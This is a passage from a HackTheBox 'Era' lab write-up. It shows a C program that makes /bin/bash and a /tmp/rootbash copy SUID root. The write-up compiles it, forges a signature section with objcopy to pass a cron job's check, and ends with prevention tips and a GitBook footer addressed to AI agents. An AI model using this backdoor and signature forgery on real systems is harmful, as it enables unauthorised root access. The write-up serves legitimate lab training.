#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    // Make /bin/bash SUID root
    system("chmod +s /bin/bash");
    system("chmod 777 /bin/bash");
    // Also create a backup in /tmp just in case
    system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash");
    // Execute the original monitor
    execl("/opt/AV/periodic-checks/monitor.bak", "monitor.bak", NULL);
    return 0;
}
EOF
```

```powershell
eric@era:/opt/AV/periodic-checks$ gcc -o monitor evil.c
gcc -o monitor evil.c
eric@era:/opt/AV/periodic-checks$ chmod +x monitor
chmod +x monitor
eric@era:/opt/AV/periodic-checks$ objcopy --add-section .text_sig=text_sig_section.bin monitor
objcopy --add-section .text_sig=text_sig_section.bin monitor
eric@era:/opt/AV/periodic-checks$ chmod +x monitor
chmod +x monitor
eric@era:/opt/AV/periodic-checks$ objdump -h monitor | grep text_sig
objdump -h monitor | grep text_sig
 27 .text_sig     000001ca  0000000000000000  0000000000000000  0000303b  2**0

```

Wait for the next minute to pass, then check if the SUID bit was set:

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fxf1uWESXJNHKNBW0Fj1t%2Fimage.png?alt=media&amp;token=7c040f56-1a8e-4014-a3f1-5d28b36fa9b4" alt=""><figcaption></figcaption></figure>

## Shell as Root

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F5gdm67NGoIoxjt3zzaND%2Fimage.png?alt=media&amp;token=5c9e76aa-2c0b-4789-9335-70cfa24c1948" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FBNEYt49ChEucERp3kThj%2Fimage.png?alt=media&amp;token=1c67d94f-5f36-4775-bfdf-e6b874179e47" alt=""><figcaption></figcaption></figure>

### Prevention Recommendations

1. **Sanitize user input** in PHP scripts (no direct file inclusion)
2. **Disable dangerous PHP wrappers** in production
3. **Restrict cron jobs** to run with least privilege
4. **Implement proper binary signing** with verification
5. **Don't store SSH credentials** in plain text
6. **Audit group permissions** regularly
7. **Use SELinux/AppArmor** to restrict binary execution


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hackthebox-cwes-track/htb-era.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
